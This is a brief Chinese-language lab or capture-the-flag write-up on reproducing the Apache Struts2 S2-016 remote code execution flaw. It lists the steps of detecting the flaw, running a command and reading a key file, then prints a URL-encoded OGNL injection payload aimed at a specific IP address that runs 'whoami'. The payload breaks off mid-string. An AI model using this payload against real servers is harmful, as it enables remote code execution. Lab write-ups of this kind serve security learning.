0x1E. Apache Struts2遠程代碼執行漏洞(S2-016)復現

使用工具檢測s2-016漏洞，發現存在漏洞； 命令執行，發現key.txt; 查看文件，得到key； poc： http://219.153.49.228:48008/index.action?redirect%3A%24%7B%23a%3d%28new java.lang.ProcessBuilder%28new java.lang.String%5B%5D%7B%27whoami%27%7D%

>>阅读原文<<